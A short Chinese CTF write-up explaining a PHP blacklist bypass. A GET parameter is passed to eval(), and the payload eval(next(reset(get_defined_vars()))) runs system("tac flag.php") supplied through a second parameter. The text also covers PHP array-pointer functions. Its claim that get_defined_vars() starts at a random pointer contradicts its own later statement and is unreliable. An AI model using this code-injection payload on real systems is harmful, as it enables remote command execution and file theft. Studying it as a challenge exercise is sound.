对于get_defined_vars函数注解

  • 我们的payloads如下,对于此题:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    <?php

    if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
    eval($c);
    }

    }else{
    highlight_file(__FILE__);
    }
  • payload:?c=eval(next(reset(get_defined_vars())));&pay=system("tac flag.php");
    为什么不可以直接使用:?c=eval(next(get_defined_vars()));&pay=system("tac flag.php"); ,这里我们需要明确:
    get_defined_vars()初始返回的参数不是指向的第一个参数,而是随机的,所以我们需要一个reset函数把指针指向第一个参数再使用next把指针向后移一位,即我新传入的键值为pay$_GET超全局变量的值。(不然就是题目中键值为c的超全局变量的值)。

关于php指针的注解

  • 常用php指针指令:

  • 函数 是否移动指针 返回值
    current() / pos() 当前指针位置的值(越界返回 false
    next() 是(后移) 新位置的值(越界返回 false
    prev() 是(前移) 新位置的值(越界返回 false
    reset() 是(重置) 数组第一个元素(空数组返回 false
    end() 是(跳末) 数组最后一个元素(空数组返回 false
    key() 当前指针位置的键名(越界返回 null
  • 针对这道题,我们说说posresetnext之间使用的区别。
    首先明确:
    所有类型数组初始指针都初始指向数组的第一个元素。

  • 首先对于pos:
    它直接返回当前状态下指针所指元素的值,由于数组默认的指针都是指向第一个元素,所以给人了一个它就是返回首个元素的值的错觉,其实是返回当前指针所指元素罢了。

  • 其次对于next:
    它将指针后移一位后,返回后移一位后指针所指的数的值

  • 最后关于reset:
    它将指针强制指向首位元素后返回首位元素的值,用于get_defined_vars这个函数中,因为不确定该数组指针所指的位置。